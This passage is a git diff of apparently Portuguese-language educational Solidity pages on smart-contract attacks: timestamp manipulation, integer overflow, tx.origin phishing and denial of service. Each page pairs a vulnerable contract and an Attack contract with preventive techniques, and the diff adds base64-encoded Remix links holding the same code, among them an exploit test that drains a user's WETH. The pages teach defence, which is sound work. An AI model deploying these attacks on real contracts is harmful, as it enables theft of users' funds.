ZXJuYWwgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBfYW1vdW50OwogICAgICAgIHRva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQp9Cg=&version=soljson-v0.8.20+commit.a1b79de6.js) +* [ERC20BankExploitTest.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIyOwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHtXRVRIfSBmcm9tICIuLi9zcmMvV0VUSC5zb2wiOwppbXBvcnQge0VSQzIwQmFua30gZnJvbSAiLi4vc3JjL0VSQzIwQmFuay5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBXRVRIIHByaXZhdGUgd2V0aDsKICAgIEVSQzIwQmFuayBwcml2YXRlIGJhbms7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgdXNlciA9IGFkZHJlc3MoMTEpOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IGF0dGFja2VyID0gYWRkcmVzcygxMik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHdldGggPSBuZXcgV0VUSCgpOwogICAgICAgIGJhbmsgPSBuZXcgRVJDMjBCYW5rKGFkZHJlc3Mod2V0aCkpOwoKICAgICAgICBkZWFsKHVzZXIsIDEwMCAqIDFlMTgpOwogICAgICAgIHZtLnN0YXJ0UHJhbmsodXNlcik7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxMDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKGJhbmspLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgYmFuay5kZXBvc2l0KDFlMTgpOwogICAgICAgIHZtLnN0b3BQcmFuaygpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgYmFsID0gd2V0aC5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=&version=soljson-v0.8.20+commit.a1b79de6.js) +* [IERC20.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIyOwoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIGRzdCwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc3JjLCBhZGRyZXNzIGRzdCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgc3JjLCBhZGRyZXNzIGluZGV4ZWQgZHN0LCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo=&version=soljson-v0.8.20+commit.a1b79de6.js) +* [IERC20Permit.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIyOwoKaW1wb3J0ICIuL0lFUkMyMC5zb2wiOwoKaW50ZXJmYWNlIElFUkMyMFBlcm1pdCBpcyBJRVJDMjAgewogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgZXh0ZXJuYWw7Cn0K&version=soljson-v0.8.20+commit.a1b79de6.js) +* [WETH.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjIyOwoKaW1wb3J0ICIuL0VSQzIwLnNvbCI7Cgpjb250cmFjdCBXRVRIIGlzIEVSQzIwIHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIGFjY291bnQsIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IFdpdGhkcmF3KGFkZHJlc3MgaW5kZXhlZCBhY2NvdW50LCB1aW50MjU2IGFtb3VudCk7CgogICAgY29uc3RydWN0b3IoKSBFUkMyMCgiV3JhcHBlZCBFdGhlciIsICJXRVRIIiwgMTgpIHt9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBkZXBvc2l0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgYW1vdW50KTsKICAgICAgICBwYXlhYmxlKG1zZy5zZW5kZXIpLnRyYW5zZmVyKGFtb3VudCk7CiAgICAgICAgZW1pdCBXaXRoZHJhdyhtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQp9Cg=&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/manipulacao-do-bloco-timestamp.md b/src/exemplos/hacks/manipulacao-do-bloco-timestamp.md index a5cbac7..63776b8 100644 --- a/src/exemplos/hacks/manipulacao-do-bloco-timestamp.md +++ b/src/exemplos/hacks/manipulacao-do-bloco-timestamp.md @@ -1,15 +1,15 @@ # Manipulação do Bloco Timestamp -#### Vulnerabilidade +Vulnerabilidade `block.timestamp` podem ser manipulados por mineradores com as seguintes limitações -* não pode ser carimbado com um tempo anterior ao de seu bloco pai -* não pode estar muito longe no futuro +- não pode ser carimbado com um tempo anterior ao de seu bloco pai +- não pode estar muito longe no futuro ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* Roulette é um jogo onde você pode ganhar todo Ether num contrato @@ -45,6 +45,10 @@ contract Roulette { } ``` -#### Técnicas preventivas +Técnicas preventivas -* Não use `block.timestamp` para uma fonte de entropia e número aleatório +- Não use `block.timestamp` para uma fonte de entropia e número aleatório + +## Teste no Remix + +- [BlockTimestamp.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qClJvdWxldHRlIGUgdW0gam9nbyBvbmRlIHZvY2UgcG9kZSBnYW5oYXIgdG9kbyBFdGhlciBudW0gY29udHJhdG8Kc2Ugdm9jZSBjb25zZWd1aXIgc3VibWV0ZXIgdW1hIHRyYW5zYWNhbyBudW0gdGVtcG8gZXNwZWNpZmljby4KVW0gam9nYWRvciBwcmVjaXNhIGVudmlhciAxMCBFdGhlciBlIHZlbmNlIHNlIG8gYmxvY2sudGltZXN0YW1wICUgMTUgPT0gMC4KKi8KCi8qCjEuIEltcGxhbnRlIG8gUm91bGV0dGUgY29tIDEwIEV0aGVyCjIuIEV2ZSByb2RhIHVtIHBvZGVyb3NvIG1pbmVyYWRvciBxdWUgcG9kZSBtYW5pcHVsYXIgbyBibG9jbyB0aW1lc3RhbXAuCjMuIEV2ZSBjb25maWd1cmEgbyBibG9jay50aW1lc3RhbXAgcGFyYSB1bSBudW1lcm8gbm8gZnV0dXJvIHF1ZSBlIGRpdmlzaXZlbCBwb3IKICAgMTUgZSBlbmNvbnRyYSBvIGJsb2NvIGhhc2ggYWx2by4KNC4gTyBibG9jbyBkZSBFdmUgZSBpbmNsdWlkbyBuYSBjaGFpbiBjb20gc3VjZXNzbywgRXZlIGdhbmhhIG8gam9nbwogICBSb3VsZXR0ZS4KKi8KCmNvbnRyYWN0IFJvdWxldHRlIHsKICAgIHVpbnQgcHVibGljIHBhc3RCbG9ja1RpbWU7CgogICAgY29uc3RydWN0b3IoKSBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gc3BpbigpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEwIGV0aGVyKTsgLy8gbXVzdCBzZW5kIDEwIGV0aGVyIHRvIHBsYXkKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCAhPSBwYXN0QmxvY2tUaW1lKTsgLy8gb25seSAxIHRyYW5zYWN0aW9uIHBlciBibG9jawoKICAgICAgICBwYXN0QmxvY2tUaW1lID0gYmxvY2sudGltZXN0YW1wOwoKICAgICAgICBpZiAoYmxvY2sudGltZXN0YW1wICUgMTUgPT0gMCkgewogICAgICAgICAgICAoYm9vbCBzZW50LCApID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBhZGRyZXNzKHRoaXMpLmJhbGFuY2V9KCIiKTsKICAgICAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgICAgICB9CiAgICB9Cn0=&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/overflow-e-underflow-aritmeticos.md b/src/exemplos/hacks/overflow-e-underflow-aritmeticos.md index dbbae35..7b5efb7 100644 --- a/src/exemplos/hacks/overflow-e-underflow-aritmeticos.md +++ b/src/exemplos/hacks/overflow-e-underflow-aritmeticos.md @@ -1,6 +1,6 @@ # Overflow e Underflow Aritméticos -#### Vulnerabilidade +Vulnerabilidade **Solidity < 0.8** @@ -8,7 +8,7 @@ Números inteiros no Solidity overflow / underflow sem nenhum erro **Solidity >= 0.8** -Comportamento padrão do Solidity **>=** 0.8 para overflow / underflow é lançar um erro. +O comportamento padrão do Solidity **>= 0.8** para overflow / underflow é lançar um erro. ```solidity // SPDX-License-Identifier: MIT @@ -21,7 +21,7 @@ pragma solidity ^0.7.6; /* 1. Implemente TimeLock 2. Implemente Attack com endereço do TimeLock -3. Chame Attack.attack enviando 1 ether. Você será capaz de retirar +3. Chame Attack.attack enviando 1 ether. Você será capaz de retirar seu ether imediatamente. O que aconteceu? @@ -80,9 +80,11 @@ contract Attack { } ``` +Técnicas preventivas +- Use [SafeMath](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol) para evitar overflow e underflow +- Solidity 0.8 tem como padrão lançar um erro para overflow / underflow -#### Técnicas preventivas +## Teste no Remix -* Use [SafeMath](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol) para evitar overflow e underflow -* Solidity 0.8 tem como padrão lançar um erro para overflow / underflow +- [Overflow.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gRXN0ZSBjb250cmF0byBlIGRlc2lnbmFkbyBwYXJhIGF0dWFyIGNvbW8gdW0gY29mcmUgdGVtcG9yYXJpby4KLy8gTyB1c3VhcmlvIHBvZGUgZGVwb3NpdGFyIG5lc3NlIGNvbnRyYXRvIG1hcyBuYW8gcG9kZSByZXRpcmFyIHBvciBwZWxvIG1lbm9zIDEgc2VtYW5hLgovLyBPIHVzdWFyaW8gdGFtYmVtIHBvZGUgZXN0ZW5kZXIgbyB0ZW1wbyBkZSBlc3BlcmEgYWxlbSBkbyBwZXJpb2RvIGRlIDEgc2VtYW5hLgoKLyoKMS4gSW1wbGVtZW50ZSBUaW1lTG9jawoyLiBJbXBsZW1lbnRlIEF0dGFjayBjb20gZW5kZXJlY28gZG8gVGltZUxvY2sKMy4gQ2hhbWUgQXR0YWNrLmF0dGFjayBlbnZpYW5kbyAxIGV0aGVyLiBWb2NlIHNlcmEgY2FwYXogZGUgcmV0aXJhciAKICAgc2V1IGV0aGVyIGltZWRpYXRhbWVudGUuCgpPIHF1ZSBhY29udGVjZXU/CkF0dGFjayBjYXVzb3Ugb3ZlcmZsb3cgZG8gVGltZUxvY2subG9ja1RpbWUgZSBmb2kgY2FwYXogZGUgcmV0aXJhcgphbnRlcyBkbyBwZXJpb2RvIGRlIDEgc2VtYW5hLgoqLwoKY29udHJhY3QgVGltZUxvY2sgewogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50KSBwdWJsaWMgbG9ja1RpbWU7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdICs9IG1zZy52YWx1ZTsKICAgICAgICBsb2NrVGltZVttc2cuc2VuZGVyXSA9IGJsb2NrLnRpbWVzdGFtcCArIDEgd2Vla3M7CiAgICB9CgogICAgZnVuY3Rpb24gaW5jcmVhc2VMb2NrVGltZSh1aW50IF9zZWNvbmRzVG9JbmNyZWFzZSkgcHVibGljIHsKICAgICAgICBsb2NrVGltZVttc2cuc2VuZGVyXSArPSBfc2Vjb25kc1RvSW5jcmVhc2U7CiAgICB9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoYmFsYW5jZXNbbXNnLnNlbmRlcl0gPiAwLCAiSW5zdWZmaWNpZW50IGZ1bmRzIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPiBsb2NrVGltZVttc2cuc2VuZGVyXSwgIkxvY2sgdGltZSBub3QgZXhwaXJlZCIpOwoKICAgICAgICB1aW50IGFtb3VudCA9IGJhbGFuY2VzW21zZy5zZW5kZXJdOwogICAgICAgIGJhbGFuY2VzW21zZy5zZW5kZXJdID0gMDsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IG1zZy5zZW5kZXIuY2FsbHt2YWx1ZTogYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIFRpbWVMb2NrIHRpbWVMb2NrOwoKICAgIGNvbnN0cnVjdG9yKFRpbWVMb2NrIF90aW1lTG9jaykgewogICAgICAgIHRpbWVMb2NrID0gVGltZUxvY2soX3RpbWVMb2NrKTsKICAgIH0KCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBhdHRhY2soKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgdGltZUxvY2suZGVwb3NpdHt2YWx1ZTogbXNnLnZhbHVlfSgpOwogICAgICAgIC8qCiAgICAgICAgc2UgdCA9IHRlbXBvIGRlIGJsb3F1ZWlvIGF0dWFsIGVudGFvIHByZWNpc2Ftb3MgZW5jb250cmFyIHggdGFsIHF1ZQogICAgICAgIHggKyB0ID0gMioqMjU2ID0gMAogICAgICAgIGVudGFvIHggPSAtdAogICAgICAgIDIqKjI1NiA9IHR5cGUodWludCkubWF4ICsgMQogICAgICAgIGVudGFvIHggPSB0eXBlKHVpbnQpLm1heCArIDEgLSB0CiAgICAgICAgKi8KICAgICAgICB0aW1lTG9jay5pbmNyZWFzZUxvY2tUaW1lKAogICAgICAgICAgICB0eXBlKHVpbnQpLm1heCArIDEgLSB0aW1lTG9jay5sb2NrVGltZShhZGRyZXNzKHRoaXMpKQogICAgICAgICk7CiAgICAgICAgdGltZUxvY2sud2l0aGRyYXcoKTsKICAgIH0KfQ==&version=soljson-v0.7.6+commit.7338295f.js) diff --git a/src/exemplos/hacks/phishing-com-tx.origin.md b/src/exemplos/hacks/phishing-com-tx.origin.md index 1ad5a74..3415ab2 100644 --- a/src/exemplos/hacks/phishing-com-tx.origin.md +++ b/src/exemplos/hacks/phishing-com-tx.origin.md @@ -1,16 +1,16 @@ # Phishing com tx.origin -#### `Qual é a diferença entre` `msg.sender` e `tx.origin`? +### Qual é a diferença entre `msg.sender` e `tx.origin`? Se o contrato A chama o B, e B chama C, em C `msg.sender` é B e `tx.origin` é A. -#### Vulnerabilidade +Vulnerabilidade -Um contrato malicioso pode enganar o proprietário de um contrato, chamando uma função que somente o proprietário seria capaz de chamar. +Um contrato malicioso pode enganar o proprietário de um contrato para chamar uma função que somente o proprietário deveria poder chamar. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* Carteira é um contrato simples em que somente o proprietário deve ser capaz de @@ -62,15 +62,19 @@ contract Attack { } ``` -#### Técnicas preventivas +Técnicas preventivas Use `msg.sender` ao invés de `tx.origin` -``` +```solidity function transfer(address payable _to, uint256 _amount) public { require(msg.sender == owner, "Not owner"); - (bool sent, ) = _to.call.value(_amount)(""); + (bool sent, ) = _to.call{ value: _amount }(""); require(sent, "Failed to send Ether"); } ``` + +## Teste no Remix + +- [TxOrigin.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkNhcnRlaXJhIGUgdW0gY29udHJhdG8gc2ltcGxlcyBlbSBxdWUgc29tZW50ZSBvIHByb3ByaWV0YXJpbyBkZXZlIHNlciBjYXBheiBkZQp0cmFuc2ZlcmlyIEV0aGVyIHBhcmEgb3V0cm8gZW5kZXJlY28uIFdhbGxldC50cmFuc2ZlcigpIHVzYSB0eC5vcmlnaW4gcGFyYSBjb25maXJtYXIKIHF1ZSBxdWVtIGNoYW1hIGUgbyBwcm9wcmlldGFyaW8uIFZhbW9zIHZlciBjb21vIHBvZGVtb3MgaGFja2VhciBlc3NlIGNvbnRyYXRvCiovCgovKgoxLiBBbGljZSBpbXBsYW50YSBXYWxsZXQgY29tIDEwIEV0aGVyCjIuIEV2ZSBpbXBsYW50YSBBdHRhY2sgY29tIG8gZW5kZXJlY28gZG8gY29udHJhdG8gZGEgV2FsbGV0IGRlIEFsaWNlLgozLiBFdmUgZW5nYW5hIEFsaWNlIGNvbSB1bWEgY2hhbWFkYSBBdHRhY2suYXR0YWNrKCkKNC4gRXZlIHJvdWJhIGNvbSBleGl0byBFdGhlciBkYSBjYXJ0ZWlyYSBkYSBBbGljZQoKTyBxdWUgYWNvbnRlY2V1PwpBbGljZSBmb2kgZW5nYW5hZGEgY29tIHVtYSBjaGFtYWRhIEF0dGFjay5hdHRhY2soKS4gRGVudHJvIGRlIEF0dGFjay5hdHRhY2soKSwKZm9pIHNvbGljaXRhZGEgdW1hIHRyYW5zZmVyZW5jaWEgZGUgdG9kb3Mgb3MgZnVuZG9zIGRhIGNhcnRlaXJhIGRhIEFsaWNlCnBhcmEgbyBlbmRlcmVjbyBkYSBFdmUuIEphIHF1ZSB0eC5vcmlnaW4gbmEgV2FsbGV0LnRyYW5zZmVyKCkgZSBpZ3VhbCBhbwpkbyBlbmRlcmVjbyBkYSBBbGljZSwgYSB0cmFuc2ZlcmVuY2lhIGZvaSBhdXRvcml6YWRhLiBBIGNhcnRlaXJhIHRyYW5zZmVyaXUKdG9kbyBFdGhlciBwYXJhIEV2ZS4KKi8KCmNvbnRyYWN0IFdhbGxldCB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcigpIHBheWFibGUgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHBheWFibGUgX3RvLCB1aW50IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgcmVxdWlyZSh0eC5vcmlnaW4gPT0gb3duZXIsICJOb3Qgb3duZXIiKTsKCiAgICAgICAgKGJvb2wgc2VudCwgKSA9IF90by5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CiAgICBXYWxsZXQgd2FsbGV0OwoKICAgIGNvbnN0cnVjdG9yKFdhbGxldCBfd2FsbGV0KSB7CiAgICAgICAgd2FsbGV0ID0gV2FsbGV0KF93YWxsZXQpOwogICAgICAgIG93bmVyID0gcGF5YWJsZShtc2cuc2VuZGVyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhdHRhY2soKSBwdWJsaWMgewogICAgICAgIHdhbGxldC50cmFuc2Zlcihvd25lciwgYWRkcmVzcyh3YWxsZXQpLmJhbGFuY2UpOwogICAgfQp9&version=soljson-v0.8.20+commit.a1b79de6.js) diff --git a/src/exemplos/hacks/recusa-de-servico.md b/src/exemplos/hacks/recusa-de-servico.md index e2d8727..832c900 100644 --- a/src/exemplos/hacks/recusa-de-servico.md +++ b/src/exemplos/hacks/recusa-de-servico.md @@ -1,14 +1,14 @@ # Recusa de Serviço -#### Vulnerabilidade +Vulnerabilidade Existem várias formas de invadir um contrato inteligente para torná-lo inutilizável. -Um exploit a ser apresentado aqui é recusa de serviço fazendo com que a função de envio de Ether falhe. +Uma exploração que introduzimos aqui é a negação de serviço, fazendo com que a função de enviar Ether falhe. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; /* A meta do KingOfEther é se tornar o rei enviando mais Ether que o rei anterior @@ -66,15 +66,15 @@ contract Attack { } ``` -#### Técnicas Preventivas +Técnicas preventivas Uma forma de evitar isso é permitir que os usuários retirem seu Ether ao invés de enviá-lo. -Eis um exemplo. +Aqui está um exemplo. ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.3; +pragma solidity ^0.8.20; contract KingOfEther { address public king; @@ -101,3 +101,8 @@ contract KingOfEther { } } ``` + +## Teste no Remix + +- [DenialOfService.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkEgbWV0YSBkbyBLaW5nT2ZFdGhlciBlIHNlIHRvcm5hciBvIHJlaSBlbnZpYW5kbyBtYWlzIEV0aGVyIHF1ZSBvIHJlaSBhbnRlcmlvcgpPIHJlaSBhbnRlcmlvciByZWNlYmVyYSBhIHF1YW50aWEgZGUgRXRoZXIgcXVlIGVsZSBoYXZpYSBlbnZpYWRvCiovCgovKgoxLiBJbXBsZW1lbnRlIEtpbmdPZkV0aGVyCjIuIEFsaWNlIHNlIHRvcm5hIG8gcmVpIGVudmlhbmRvIDEgRXRoZXIgcGFyYSBjbGFpbVRocm9uZSgpLgoyLiBCb2Igc2UgdG9ybmEgbyByZWkgZW52aWFuZG8gMiBFdGhlciBwYXJhIGNsYWltVGhyb25lKCkuCiAgIEFsaWNlIHJlY2ViZSBvIHJlZW1ib2xzbyBkZSAxIEV0aGVyLgozLiBJbXBsZW1lbnRlIEF0dGFjayBjb20gZW5kZXJlY28gZG8gS2luZ09mRXRoZXIuCjQuIENoYW1lIGF0dGFjayBjb20gMyBFdGhlci4KNS4gTyByZWkgYXR1YWwgZSBvIGNvbnRyYXRvIEF0dGFjayBlIG5pbmd1ZW0gbWFpcyBwb2RlIHNlIHRvcm5hciBvIHJlaS4KCk8gcXVlIGFjb250ZWNldT8KQXR0YWNrIHNlIHRvcm5vdSBvIHJlaS4gVG9kYXMgYXMgbm92YXMgdGVudGF0aXZhcyBkZSBjbGFtYXIgcGVsbyB0cm9ubyBzYW8KcmVqZWl0YWRhcyBqYSBxdWUgbyBjb250cmF0byBBdHRhY2sgbmFvIHRlbSB1bWEgZnVuY2FvIGZhbGxiYWNrLCByZWN1c2FuZG8KYWNlaXRhciBFdGhlciBlbnZpYWRvIGRlIEtpbmdPZkV0aGVyLCBhbnRlcyBxdWUgbyBub3ZvIHJlaSBzZWphIGRlZmluaWRvLgoqLwoKY29udHJhY3QgS2luZ09mRXRoZXIgewogICAgYWRkcmVzcyBwdWJsaWMga2luZzsKICAgIHVpbnQgcHVibGljIGJhbGFuY2U7CgogICAgZnVuY3Rpb24gY2xhaW1UaHJvbmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA+IGJhbGFuY2UsICJOZWVkIHRvIHBheSBtb3JlIHRvIGJlY29tZSB0aGUga2luZyIpOwoKICAgICAgICAoYm9vbCBzZW50LCApID0ga2luZy5jYWxse3ZhbHVlOiBiYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKCiAgICAgICAgYmFsYW5jZSA9IG1zZy52YWx1ZTsKICAgICAgICBraW5nID0gbXNnLnNlbmRlcjsKICAgIH0KfQoKY29udHJhY3QgQXR0YWNrIHsKICAgIEtpbmdPZkV0aGVyIGtpbmdPZkV0aGVyOwoKICAgIGNvbnN0cnVjdG9yKEtpbmdPZkV0aGVyIF9raW5nT2ZFdGhlcikgewogICAgICAgIGtpbmdPZkV0aGVyID0gS2luZ09mRXRoZXIoX2tpbmdPZkV0aGVyKTsKICAgIH0KCiAgICAvLyBWb2NlIHRhbWJlbSBwb2RlIGV4ZWN1dGFyIHVtIERPUyBjb25zdW1pbmRvIHRvZG8gbyBnYXMgdXNhbmRvIGFzc2VydC4KICAgIC8vIEVzc2EgaW52YXNhbyB2YWkgZnVuY2lvbmFyIG1lc21vIHF1ZSBvIGNvbnRyYXRvIGRlIGNoYW1hZGEgbmFvIGNvbmZpcmEKICAgIC8vIHNlIGEgY2hhbWFkYSBmb2kgYmVtIHN1Y2VkaWRhIG91IG5hby4KICAgIC8vCiAgICAvLyBmdW5jdGlvbiAoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgIC8vICAgICBhc3NlcnQoZmFsc2UpOwogICAgLy8gfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBraW5nT2ZFdGhlci5jbGFpbVRocm9uZXt2YWx1ZTogbXNnLnZhbHVlfSgpOwogICAgfQp9&version=soljson-v0.8.20+commit.a1b79de6.js) +- [PreventDenialOfService.sol](https://remix.ethereum.org/#code=Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEtpbmdPZkV0aGVyIHsKICAgIGFkZHJlc3MgcHVibGljIGtpbmc7CiAgICB1aW50IHB1YmxpYyBiYWxhbmNlOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlczsKCiAgICBmdW5jdGlvbiBjbGFpbVRocm9uZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID4gYmFsYW5jZSwgIk5lZWQgdG8gcGF5IG1vcmUgdG8gYmVjb21lIHRoZSBraW5nIik7CgogICAgICAgIGJhbGFuY2VzW2tpbmddICs9IGJhbGFuY2U7CgogICAgICAgIGJhbGFuY2UgPSBtc2cudmFsdWU7CiAgICAgICAga2luZyA9IG1zZy5zZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gd2l